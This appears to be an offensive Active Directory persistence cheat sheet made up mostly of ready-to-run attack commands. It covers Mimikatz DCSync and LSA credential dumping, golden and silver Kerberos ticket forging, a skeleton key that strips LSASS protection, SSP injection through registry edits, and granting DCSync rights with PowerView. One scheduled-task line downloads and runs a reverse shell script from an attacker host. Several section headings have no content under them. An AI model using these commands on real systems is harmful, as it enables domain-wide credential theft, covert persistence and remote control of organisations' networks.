PERSISTENCE

DCSync feature for getting krbtgt hash

Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt"'

ACCOUNT DUMPING

Invoke-Mimikatz -Command '"lsadump::lsa /patch"' -Computername DC01

GOLDEN TICKET

:information_source: On any machine

Invoke-Mimikatz -Command '"kerberos::golden /User:Administrator /domain:lab.domain.local /sid:S-1-5-x-x-x-x /krbtgt:00000000000000000000000000000000 id:500 /groups:512 /startoffset:0 /endin:600 /renewmax:10080 /ptt"'
# Execute a task to run the reverse shell script
schtasks /create /S machine.domain.local /SC Weekly /RU "NT Authority\SYSTEM" /TN "taskname" /TR "powershell.exe -c 'iex(New-Object Net.WebClient).DownloadString(''http://attackerip/Invoke-PowerShellTcp.ps1''')'"
schtasks /Run /S machine.domain.local /TN "taskname"

Golden ticket parameters | Invoke-Mimikatz -Command | Resume | |---|---| | kerberos::golden | Name of the module | | /User:Administrator | Username for which the TGT is generated | | /domain:lab.domain.local | Domain FQDN | | /sid:S-1-5-x-x-x-x | SID of the domain | | /krbtgt:00000000000000000000000000000000 | NTLM (RC4) hash of the krbtgt account. Use /aes128 and /aes256 for using AES keys | | /id:500 /groups:512 | Optional User RID (default 500) and Group default 513 512 520 518 519) | | /ptt or /ticket | Injects the ticket in current PowerShell process - no need to save the ticket on disk - Saves the ticket to a file for later use | | /startoffset:0 | Optional when the ticket is available (default 0 - right now) in minutes. Use negative for a ticket available from past and a larger number for future | | /endin:600 | Optional ticket lifetime (default is 10 years) in minutes. The default AD setting is 10 hours = 600 minutes | | /renewmax:10080 | Optional ticket lifetime with renewal (default is 10 years) in minutes. The default AD setting is 7 days = 100800 |


SILVER TICKET

Silver ticket parameters | Invoke-Mimikatz -Command | Resume | |---|---| | kerberos::golden | Name of the module (there is no Silver module!) | | /User:Administrator | Username for which the TGT is generated | | /domain:lab.domain.local | Domain FQDN | | /sid:S-1-5-x-x-x-x | SID of the domain | | /target:DC01.lab.domain.local | Target server FQDN | | /service:cifs | The SPN name of service for which TGS is to be created | | /rc4:00000000000000000000000000000000 | NTLM (RC4) hash of the service account. Use /aes128 and /aes256 for using AES keys | | /id:500 /groups:512 | Optional User RID (default 500) and Group (default 513 512 520 518 519) | | /ptt | Injects the ticket in current PowerShell process - no need to save the ticket on disk | | /startoffset:0 | Optional when the ticket is available (default 0 - right now) in minutes. Use negative for a ticket available from past and a larger number for future | | /endin:600 | Optional ticket lifetime (default is 10 years) in minutes. The default AD setting is 10 hours = 600 minutes | | /renewmax:10080 | Optional ticket lifetime with renewal (default is 10 years) in minutes. The default AD setting is 7 days = 100800 |


SKELETON KEY

# REMOTE
$sess = New-PSSession DC01.domain.local
Enter-PSSession -Session $sess
# BYPASS AMSI AND EXIT
Invoke-Command -FilePath C:\Invoke-Mimikatz.ps1 -Session $sess
Enter-PSSession -Session $sess
Invoke-Mimikatz -Command '"privilege::debug" "misc::skeleton"'
# OR
Invoke-Mimikatz -Command '"privilege::debug" "misc::skeleton"' -ComputerName DC01.lab.dmoain.local
# LOGIN
Enter-PSSession -Computername DC01 -credential domain\Administrator
# PASSWORD mimikatz
- Skeleton Key with lsass running as a protected process
mimikatz # privilege::debug
mimikatz # !+
mimikatz # !processprotect /process:lsass.exe /remove
mimikatz # misc::skeleton
mimikatz # !-
:information_source: needs the mimikatz driver (mimidriv.sys) on disk of the target DC


DSRM


Security Support Provider (SSP)

# Drop the mimilib.dll to system32 and add mimilib to HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages
$packages = Get-ItemProperty
HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\OSConfig\ -Name 'Security Packages'| select -ExpandProperty 'Security Packages'
$packages += "mimilib"
Set-ItemProperty
HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\OSConfig\ -Name 'Security Packages' -Value $packages
Set-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\ -Name 'Security Packages' -Value $packages

Invoke-Mimikatz -Command '"misc::memssp"'
# CHECK C:\Windows\system32\kiwissp.log

ADMINSDHOLDER

Protected Groups
Account Operators Enterprise Admins
Backup Operators Domain Controllers
Server Operators Read-only Domain Controllers
Print Operators Schema Admins
Domain Admins Administrators
Replicator
Groups Resume
Account Operators Cannot modify DA/EA/BA groups. Can modify nested group within
Backup Operators Backup GPO, edit to add SID of controlled account to a privileged group and Restore
Server Operators Run a command as system (using the disabled Browser service)
Print Operators Copy ntds.dit backup, load device drivers

CHECK REPLICATION RIGHTS, MODIFY, DCSYNC ATTACK

# CHECK
. .\PowerView.ps1
Get-ObjectAcl -DistinguishedName "dc=domain,dc=local" -ResolveGUIDs | ?{($_.IdentityReference -match "targetuser") -and (($_.ObjectType -match 'replication') -or ($_.ActiveDirectoryRights -match 'GenericAll'))}

# ADD OBJECT ACL
Add-ObjectAcl -TargetDistinguishedName "dc=domain,dc=local" -PrincipalSamAccountName targetuser -Rights DCSync -Verbose

# DCSYNC
Get-ObjectAcl -DistinguishedName "dc=domain,dc=local" -ResolveGUIDs | ?{($_.IdentityReference -match "targetuser") -and (($_.ObjectType -match 'replication') -or ($_.ActiveDirectoryRights -match 'GenericAll'))}

Rights Abuse


SECURITY DESCRIPTORS